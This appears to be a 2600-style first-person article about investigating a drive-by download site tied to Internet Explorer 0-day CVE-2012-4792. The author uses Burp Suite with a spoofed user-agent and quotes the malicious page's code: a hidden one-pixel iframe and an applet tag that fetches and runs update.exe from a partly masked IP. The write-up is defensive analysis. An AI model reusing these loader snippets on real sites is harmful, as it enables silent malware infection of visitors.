0-Day Adventures

by Sh0kwave

When a new security vulnerability is identified, a new exploit created, and that exploit is first released into the wild, there is of course no security patch, no virus definition, and no (immediately) known fix.

The day of first release is called Day Zero, or Zero Day, or simply 0-day.  A 0-day is very scary from a security perspective, as there is really nothing that can be done to protect against it, other than take steps not to cross its path.

I recently encountered a 0-day while working in a security role.  This is what happened.

The 0-day in question was discovered in the wild on December 29, 2012, impacting Internet Explorer versions 6, 7, and 8 (CVE-2012-4792).

I can't say how we found out, but we became aware that a computer we were responsible for went to this website: marinskorea.com, which was one site known to be hosting 0-day exploit code.

I needed to find out if this person's computer had become infected and, if so, what the exploit had done.  (Remember, it's a 0-day, so you can't just run a virus scanner.)  Using a non-vulnerable web browser to investigate would be a good idea, but then the exploit wouldn't trigger, so how would I know what it would do?  This was my solution: I fired up BackTrack in a virtual machine and then launched Burp Suite.  Burp Suite is an awesome tool that lets you intercept web traffic, modify or drop code, replay it, spider a site, and much more.

With the Konqueror web browser proxied through Burp Suite, I went to the website in question.  The Burp "Proxy" tab easily showed me that my GET request was going to identify my browser as:

User-Agent: Mozilla/5.0 (compatibility; Konqueror/4.5; Linux) KHTML/4.5.3 (like Gecko) Kubuntu

So I changed it to:

User-Agent: Mozilla/5.0 (windows; U; MSIE 7.0; windows NT 5.2)

This made it look like I was running a vulnerable browser.

I then forwarded the GET request and the Burp Suite "Target - Site Map" tab showed all of the site subdirectories and code that was called as a result of the GET.  First, main.php was called.

This contained:

<iframe src=image/javaexp.htm width=1 height=1></iframe>

This <iframe> tag loads javaexp.htm.

Burp also showed this code snippet as part of javaexp.htm:

<applet archives="apps.jar" code="taa.taa_a.class" width=1 height=1>
<param name="data" value="http://199.xx.xx.149/update.exe"/></applet></body></html>

So this created a one pixel by one pixel (effectively invisible) object on the screen, which attempted to execute update.exe from the site at the 199.xx.xx.194 IP address.

This, no doubt, was where the 0-day malware would load and run.

Fortunately for me, our web proxy servers were already blocking this IP address, so the fun was over for me.

I was sure nothing bad had happened as a result of the person's visit to the 0-day site.  However, I'm sure others were not so lucky.  All they had to do was go to a website and, if their browser was vulnerable, they had update.exe execute on their PC without their knowing it.

Who knows what bad things that piece of code would do?

This is a classic drive-by download, fueled by a 0-day exploit.  Hope you never encounter one.

Return to $2600 Index